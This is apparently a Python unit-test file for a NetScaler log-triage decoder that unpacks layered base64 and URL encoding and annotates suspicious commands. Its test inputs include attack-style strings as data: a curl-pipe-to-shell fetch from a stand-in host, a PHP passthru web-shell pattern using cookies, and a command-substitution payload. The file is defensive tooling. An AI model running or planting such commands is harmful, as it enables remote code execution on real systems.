import base64
import unittest

from netscaler_triage.decoding import decode_layers, observations


class DecodingTests(unittest.TestCase):
    def test_error_and_limit_metadata(self) -> None:
        self.assertTrue(any(r["error"] for r in decode_layers("base64: aW@Q=")))
        self.assertTrue(any(r["error"] for r in decode_layers("/x?q=%GG")))
        self.assertTrue(any(r.get("limit") for r in decode_layers("aWQ=", max_depth=0)))
        self.assertTrue(any(r["error"] for r in decode_layers("marker:AAAAA")))

    def test_command_semantics_are_qualified(self) -> None:
        explanation = " ".join(
            observations(
                "curl https://example.test | sh; chmod 777 /tmp/x; tar -cf /tmp/a "
                "/tmp/b; kill -HUP 12; passthru($_COOKIE['x']); id; hostname"
            )
        )
        for term in (
            "file permissions",
            "archive",
            "HUP",
            "Cookie",
            "interpreter",
            "execution is not established",
        ):
            self.assertIn(term, explanation)

    def test_marker_and_query(self) -> None:
        for text in ["AB:" + base64.b64encode(b"id").decode(), "/probe.php?x=aWQ%3D"]:
            records = decode_layers(text)
            self.assertEqual(records[0]["output"], text)
            self.assertIn("id", [r["output"] for r in records])
            self.assertTrue(all(r["sha256"] for r in records))

    def test_limits_binary_and_plus(self) -> None:
        self.assertEqual(len(decode_layers("AAAA", max_bytes=2)), 1)
        self.assertEqual(len(decode_layers("aWQ=", max_depth=0)), 1)
        self.assertIn("a+b c", [r["output"] for r in decode_layers("a+b%20c")])
        self.assertTrue(any(r["output_encoding"] == "hex" for r in decode_layers("AP8=")))
        self.assertTrue(any(r["error"] for r in decode_layers("%FF")))

    def test_inert_commands_and_ordinary_log(self) -> None:
        command = "$(touch /tmp/NEVER_EXECUTE)"
        records = decode_layers(base64.b64encode(command.encode()).decode())
        self.assertIn(command, [r["output"] for r in records])
        self.assertEqual(len(decode_layers("normal log entry with hostname server")), 1)

    def test_nested(self) -> None:
        text = base64.b64encode(base64.b64encode(b"id")).decode()
        self.assertIn("id", [r["output"] for r in decode_layers(text)])
        self.assertLessEqual(len(decode_layers(" ".join("m:" + text for _ in range(100)))), 64)


if __name__ == "__main__":
    unittest.main()